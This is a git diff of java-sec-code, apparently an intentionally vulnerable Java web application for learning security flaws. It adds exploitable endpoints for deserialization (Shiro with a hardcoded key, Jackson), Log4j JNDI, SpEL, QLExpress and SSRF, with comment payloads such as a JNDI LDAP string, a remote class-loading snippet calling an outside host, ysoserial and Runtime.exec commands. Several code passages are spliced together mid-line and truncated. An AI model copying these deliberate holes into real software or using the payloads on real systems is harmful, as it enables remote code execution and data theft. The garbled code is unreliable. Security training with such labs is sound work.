+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
index 97693583..b5c658c3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,11 @@
对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
+
+## 招聘
+
+[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
## 介绍
@@ -26,20 +30,24 @@ joychou/joychou123
- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
- Runtime
- ProcessBuilder
- ScriptEngine
- Yaml Deserialize
- Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
@@ -50,7 +58,7 @@ joychou/joychou123
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
-
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
## 漏洞说明
@@ -67,6 +75,7 @@ joychou/joychou123
- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)
- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
@@ -134,7 +143,7 @@ Viarus
例子:
```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
```
返回:
@@ -190,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会
核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
-## 捐赠
-
-如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
-### Alipay
+## 支持
-扫描支付宝二维码支持`Java sec code`。
+如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
diff --git a/docker-compose.yml b/docker-compose.yml
index cb3f8efa..7e9c878e 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,9 +1,11 @@
-version : '2'
+version : '3'
services:
jsc:
image: joychou/jsc:latest
+ command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
ports:
- "8080:8080"
+ - "8000:8000"
links:
- j_mysql
diff --git a/java-sec-code.iml b/java-sec-code.iml
index e8317c18..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,223 +1,14 @@
-
- * http://localhost:8080/deserialize/rememberMe/vuln
+ * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
-
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
@@ -56,9 +54,9 @@ public String rememberMeVul(HttpServletRequest request)
}
/**
- * Check deserialize class using black list.
- *
- * http://localhost:8080/deserialize/rememberMe/security
+ * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security
*/
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
@@ -86,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
return "I'm very OK.";
}
+ // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
+ @RequestMapping("/jackson")
+ public void Jackson(String payload) {
+ ObjectMapper mapper = new ObjectMapper();
+ mapper.enableDefaultTyping();
+ try {
+ Object obj = mapper.readValue(payload, Object.class);
+ mapper.writeValueAsString(obj);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java
new file mode 100644
index 00000000..f6746354
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Dotall.java
@@ -0,0 +1,31 @@
+package org.joychou.controller;
+
+
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.regex.Pattern;
+
+
+/**
+ * Spring Security CVE-2022-22978
+ * 漏洞相关wiki
+ * @author JoyChou @2023-01-212
+ */
+
+public class Dotall {
+
+
+ /**
+ * 官方spring-security修复commit记录
+ */
+ public static void main(String[] args) throws Exception{
+ Pattern vuln_pattern = Pattern.compile("/black_path.*");
+ Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
+
+ String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
+ System.out.println("Poc: " + poc);
+ System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n
+ System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n
+ }
+}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 00ab7008..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java
new file mode 100644
index 00000000..79154c1e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jdbc.java
@@ -0,0 +1,36 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.DriverManager;
+
+/**
+ * Jdbc Attack @2023.04
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jdbc")
+public class Jdbc {
+
+ /**
+ * CVE-2022-21724
+ */
+ @RequestMapping("/postgresql")
+ public void postgresql(String jdbcUrlBase64) throws Exception{
+ byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+ String jdbcUrl = new String(b);
+ log.info(jdbcUrl);
+ DriverManager.getConnection(jdbcUrl);
+ }
+
+ @RequestMapping("/db2")
+ public void db2(String jdbcUrlBase64) throws Exception{
+ Class.forName("com.ibm.db2.jcc.DB2Driver");
+ byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+ String jdbcUrl = new String(b);
+ log.info(jdbcUrl);
+ DriverManager.getConnection(jdbcUrl);
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 2ab0dcef..eb9381e3 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -6,8 +6,8 @@
import com.alibaba.fastjson.JSONPObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang.StringUtils;
-import org.joychou.security.SecurityUtil;
import org.joychou.util.LoginUtils;
+import org.joychou.security.SecurityUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
@@ -19,7 +19,6 @@
import org.joychou.util.WebUtils;
import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
import java.security.Principal;
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..f3e4c126
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+ private static final String COOKIE_NAME = "USER_COOKIE";
+ /**
+ * http://localhost:8080/jwt/createToken
+ * Create jwt token and set token to cookies.
+ *
+ * @author JoyChou 2022-09-20
+ */
+ @GetMapping("/createToken")
+ public String createToken(HttpServletResponse response, HttpServletRequest request) {
+ String loginUser = request.getUserPrincipal().getName();
+ log.info("Current login user is " + loginUser);
+
+ if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+ return String.format("%s cookie delete failed", COOKIE_NAME);
+ }
+ String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+ Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+ cookie.setMaxAge(86400); // 1 DAY
+ cookie.setPath("/");
+ cookie.setSecure(true);
+ response.addCookie(cookie);
+ return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+ }
+
+
+ /**
+ * http://localhost:8080/jwt/getName
+ * Get nickname from USER_COOKIE
+ *
+ * @author JoyChou 2022-09-20
+ * @param user_cookie cookie
+ * @return nickname
+ */
+ @GetMapping("/getName")
+ public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+ String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+ return "Current jwt user is " + nickname;
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..b2ea4060
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+ private static final Logger logger = LogManager.getLogger("Log4j");
+
+ /**
+ * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+ * Default: error/fatal/off
+ * Fix: Update log4j to lastet version.
+ */
+ @RequestMapping(value = "/log4j")
+ public String log4j(String token) {
+ logger.error(token);
+ return token;
+ }
+
+ public static void main(String[] args) {
+ String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+ logger.error(poc);
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+ /**
+ * url = 'http://sb.dog:8888/';
+ * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+ * classLoader.loadClass('Hello').newInstance();
+ */
+ @RequestMapping("/vuln1")
+ public String vuln1(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ DefaultContext Sql injection jbdc vuln code. Sql injection jbdc security code by using {@link PreparedStatement}. Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder. Sql injection of mybatis vuln code. select * from users where username = 'joychou' or '1'='1' Sql injection of mybatis vuln code. select * from users where username like '%joychou' or '1'='1%' Sql injection of mybatis vuln code. select * from users order by id desc-- asc Sql injection mybatis security code. Sql injection mybatis security code. Sql injection mybatis security code. Order by sql injection mybatis security code by using sql filter. select * from users order by id asc
+ * The default setting of followRedirects is true.
- * new URL(String url).openConnection()
- * new URL(String url).openStream()
- * new URL(String url).getContent()
+ * Download the url file.
+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
*/
- @GetMapping("/spel/vuln")
- public String rce(String expression) {
+ @RequestMapping("/spel/vuln1")
+ public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
- // fix method: SimpleEvaluationContext
- return parser.parseExpression(expression).getValue().toString();
+ return parser.parseExpression(value).getValue().toString();
+ }
+
+ /**
+ * Use Spel to execute cmd.
+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+ * Exploit must add
- * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
- * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+ * bypass 1
+ * bypass 2
+ *
*
- * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+ * More details
*/
@GetMapping("/vuln/url_bypass")
- public String url_bypass(String url) throws MalformedURLException {
+ public void url_bypass(String url, HttpServletResponse res) throws IOException {
logger.info("url: " + url);
if (!SecurityUtil.isHttp(url)) {
- return "Url is not http or https";
+ return;
}
URL u = new URL(url);
@@ -109,11 +111,10 @@ public String url_bypass(String url) throws MalformedURLException {
// endsWith .
for (String domain : domainwhitelist) {
if (host.endsWith("." + domain)) {
- return "Good url.";
+ res.sendRedirect(url);
}
}
- return "Bad url.";
}
diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java
new file mode 100644
index 00000000..6a477ece
--- /dev/null
+++ b/src/main/java/org/joychou/controller/WebSockets.java
@@ -0,0 +1,76 @@
+package org.joychou.controller;
+
+import org.apache.tomcat.websocket.server.WsServerContainer;
+import org.joychou.config.WebSocketsProxyEndpoint;
+import org.joychou.config.WebSocketsCmdEndpoint;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.ServletContext;
+import javax.servlet.http.HttpServletRequest;
+import javax.websocket.server.ServerContainer;
+import javax.websocket.server.ServerEndpointConfig;
+
+
+@RestController
+public class WebSockets {
+
+ /**
+ * 动态添加WebSockets实现命令执行
+ * 1. WebSocket的端口和Spring端口一致。
+ * http://localhost:8080/websocket/cmd?path=/ws/shell JoyChou @ 2023年02月20日
+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttp(String url, HttpHeaders headers) {
+ HttpEntity
+ * Redirects: Disable followRedirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+ HttpEntity Normal: Bypass: Hello . Welcome to login java-sec-code application. Application Infomation
- Swagger
- CmdInject
- JSONP
- Picture Upload
- File Upload
- Cors
- PathTraversal
- SqlInject
- SSRF
- RCE
- ooxml XXE
- xlsx-streamer XXE
- ... Hello . Welcome to login java-sec-code application. Application Infomation
+ Swagger
+ CmdInject
+ JSONP
+ Picture Upload
+ File Upload
+ Cors
+ PathTraversal
+ SqlInject
+ SSRF
+ RCE
+ ooxml XXE
+ xlsx-streamer XXE
+ actuator env
+
+ JWTCreateToken
+ GetUserFromJWTToken
+ ...
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/vuln?username=joychou
*/
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {
@@ -77,7 +78,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
} catch (ClassNotFoundException e) {
- logger.error("Sorry,can`t find the Driver!");
+ logger.error("Sorry, can't find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
@@ -86,10 +87,9 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
/**
- * Security Code.
- * http://localhost:8080/sqli/jdbc/sec?username=joychou
+ *
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/sec?username=joychou
*/
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {
@@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
- System.out.println("Connecting to Database successfully.");
+ System.out.println("Connect to database successfully.");
// fix code
String sql = "select * from users where username = ?";
@@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
con.close();
} catch (ClassNotFoundException e) {
- logger.error("Sorry, can`t find the Driver!");
+ logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
@@ -130,11 +130,53 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
return result.toString();
}
+
/**
- * vuln code
- * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
- *
- * @param username username
+ *
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102.
+ * Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- *
- * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
*/
@GetMapping("/request/sec")
public String request(@RequestParam String url) {
@@ -96,12 +108,12 @@ public String request(@RequestParam String url) {
/**
- * Download the url file.
- * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
- *
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
+
*/
@GetMapping("/openStream")
public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
@@ -167,12 +179,10 @@ public String okhttp(@RequestParam String url) {
}
-
/**
* The default setting of followRedirects is true.
- * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- *
- * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
*/
@GetMapping("/httpclient/sec")
public String HttpClient(@RequestParam String url) {
@@ -192,8 +202,7 @@ public String HttpClient(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
* UserAgent is Jakarta Commons-HttpClient/3.1.
- *
- * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
@GetMapping("/commonsHttpClient/sec")
public String commonsHttpClient(@RequestParam String url) {
@@ -211,9 +220,8 @@ public String commonsHttpClient(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
- * UserAgent is the useragent of browser.
- *
- * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
@GetMapping("/Jsoup/sec")
public String Jsoup(@RequestParam String url) {
@@ -232,9 +240,8 @@ public String Jsoup(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
- * UserAgent is Java/1.8.0_102.
- *
- * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+ * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
*/
@GetMapping("/IOUtils/sec")
public String IOUtils(String url) {
@@ -261,4 +268,51 @@ public String HttpSyncClients(@RequestParam("url") String url) {
}
+ /**
+ * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com
+ */
+ @GetMapping("/restTemplate/vuln1")
+ public String RestTemplateUrlBanRedirects(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttpBanRedirects(url, headers);
+ }
+
+
+ @GetMapping("/restTemplate/vuln2")
+ public String RestTemplateUrl(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttp(url, headers);
+ }
+
+
+ /**
+ * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+ * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com
+ */
+ @GetMapping("/hutool/vuln")
+ public String hutoolHttp(String url){
+ return HttpUtil.get(url);
+ }
+
+
+ /**
+ * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url
+ */
+ @GetMapping("/dnsrebind/vuln")
+ public String DnsRebind(String url) {
+ java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+ if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+ return "Dangerous url";
+ }
+ return HttpUtil.get(url);
+ }
+
+
}
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+ byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+ private final static String DELETE_ME = "deleteMe";
+ AesCipherService acs = new AesCipherService();
+
+
+ @GetMapping(value = "/shiro/deserialize")
+ public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+ Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ try {
+ String rememberMe = cookie.getValue();
+ byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+ byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+ ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+ } catch (Exception e){
+ if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+ log.error(e.getMessage());
+ return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+ }
+ }
+
+ return "Shiro deserialize";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 698f4a7e..452180b8 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,38 +1,64 @@
package org.joychou.controller;
+import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
- * SpEL Injection
- *
+ * SpEL Injection.
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {
/**
- * SpEL to RCE
- * http://localhost:8080/spel/vul/?expression=xxx.
- * xxx is urlencode(exp)
- * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+ * Use Spel to execute cmd. #{} if using TemplateParserContext.
+ */
+ @RequestMapping("spel/vuln2")
+ public String spel_vuln2(String value) {
+ StandardEvaluationContext context = new StandardEvaluationContext();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context); // trigger vulnerability point
+ return x.toString(); // response
+ }
+
+ /**
+ * Use SimpleEvaluationContext to fix.
+ */
+ @RequestMapping("spel/sec")
+ public String spel_sec(String value) {
+ SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context);
+ return x.toString();
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
- String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+ String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
+
}
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
deleted file mode 100644
index 3b75c7d0..00000000
--- a/src/main/java/org/joychou/controller/Test.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
-
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
-
-@RestController
-@RequestMapping("/test")
-public class Test {
-
- @RequestMapping(value = "/")
- public String Index(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- return "success";
- }
-
-
- @RequestMapping(value = "/aa")
- public void test(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- }
-}
